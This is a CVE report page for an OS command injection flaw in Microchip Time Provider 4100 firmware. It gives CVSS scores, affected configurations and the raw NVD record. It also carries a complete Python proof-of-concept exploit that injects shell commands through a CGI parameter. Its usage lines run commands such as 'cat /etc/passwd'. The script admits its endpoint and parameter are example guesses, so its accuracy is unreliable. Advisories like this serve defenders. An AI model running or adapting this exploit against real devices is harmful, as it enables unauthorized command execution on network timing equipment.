Security Vulnerability Report
中文
CVE-2025-47900 CVSS 8.8 HIGH

CVE-2025-47900

Published: 2025-10-20 18:15:38
Last Modified: 2026-03-31 11:16:13
Source: dc3f6da9-85b5-4a73-84a2-2ec90b40fca5

Description

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Microchip Time Provider 4100 allows OS Command Injection.This issue affects Time Provider 4100: before 2.5.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microchip:timeprovider_4100_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:microchip:timeprovider_4100:-:*:*:*:*:*:*:* - NOT VULNERABLE
Microchip Time Provider 4100 < 2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-47900 - Microchip Time Provider 4100 OS Command Injection PoC # Author: Security Research # Description: Demonstrates OS command injection via CGI endpoint with low-privilege credentials import requests import argparse import sys TARGET_URL = "https://{host}/cgi-bin/{endpoint}" DEFAULT_ENDPOINT = "diagnostics.cgi" # Example vulnerable endpoint DEFAULT_PARAM = "hostname" # Example injectable parameter def build_payload(cmd): """Build command injection payload using shell metacharacters.""" # Use semicolon to terminate the legitimate command and inject ours return f";{cmd};echo" def exploit(host, port, username, password, endpoint, param, command, verify_ssl=False): """Send exploit request to the vulnerable Time Provider 4100 device.""" url = TARGET_URL.format(host=f"{host}:{port}", endpoint=endpoint) payload = build_payload(command) # Inject payload into the target parameter data = {param: payload} try: response = requests.post( url, data=data, auth=(username, password), verify=verify_ssl, timeout=15, headers={ "User-Agent": "Mozilla/5.0 (compatible; TP4100-PoC)", "Content-Type": "application/x-www-form-urlencoded", }, ) print(f"[+] HTTP Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Extract command output from response (between our echo markers) if "echo" in response.text: parts = response.text.split("echo") if len(parts) >= 2: output = parts[1].strip() print(f"[+] Command Output:\n{output}") return True print(f"[+] Raw Response:\n{response.text[:2000]}") return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): parser = argparse.ArgumentParser( description="CVE-2025-47900 - Microchip Time Provider 4100 OS Command Injection" ) parser.add_argument("-H", "--host", required=True, help="Target IP address") parser.add_argument("-p", "--port", default=443, type=int, help="Target port (default: 443)") parser.add_argument("-u", "--username", required=True, help="Low-privilege username") parser.add_argument("-P", "--password", required=True, help="Password") parser.add_argument("-e", "--endpoint", default=DEFAULT_ENDPOINT, help="CGI endpoint") parser.add_argument("--param", default=DEFAULT_PARAM, help="Injectable parameter") parser.add_argument("-c", "--command", default="id", help="Command to execute") args = parser.parse_args() print(f"[*] Targeting {args.host}:{args.port}") print(f"[*] Endpoint: {args.endpoint}, Param: {args.param}") print(f"[*] Payload command: {args.command}") success = exploit( args.host, args.port, args.username, args.password, args.endpoint, args.param, args.command, ) sys.exit(0 if success else 1) if __name__ == "__main__": main() # Usage example: # python3 cve_2025_47900.py -H 192.168.1.100 -u admin -P password -c "id" # python3 cve_2025_47900.py -H 192.168.1.100 -u user -P pass -c "cat /etc/passwd" # python3 cve_2025_47900.py -H 192.168.1.100 -u user -P pass -c "uname -a"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47900", "sourceIdentifier": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "published": "2025-10-20T18:15:38.440", "lastModified": "2026-03-31T11:16:12.700", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Microchip Time Provider 4100 allows OS Command Injection.This issue affects Time Provider 4100: before 2.5."}], "metrics": {"cvssMetricV40": [{"source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microchip:timeprovider_4100_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5", "matchCriteriaId": "6634DE5C-7298-47E3-A1DB-D09BEFA6935D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:microchip:timeprovider_4100:-:*:*:*:*:*:*:*", "matchCriteriaId": "8D36DAD3-0804-42B0-A47F-6895177560EE"}]}]}], "references": [{"url": "https://www.gruppotim.it/en/footer/TIM-red-team.html", "source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5"}, {"url": "https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-remote-command-execution", "source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "tags": ["Vendor Advisory"]}]}}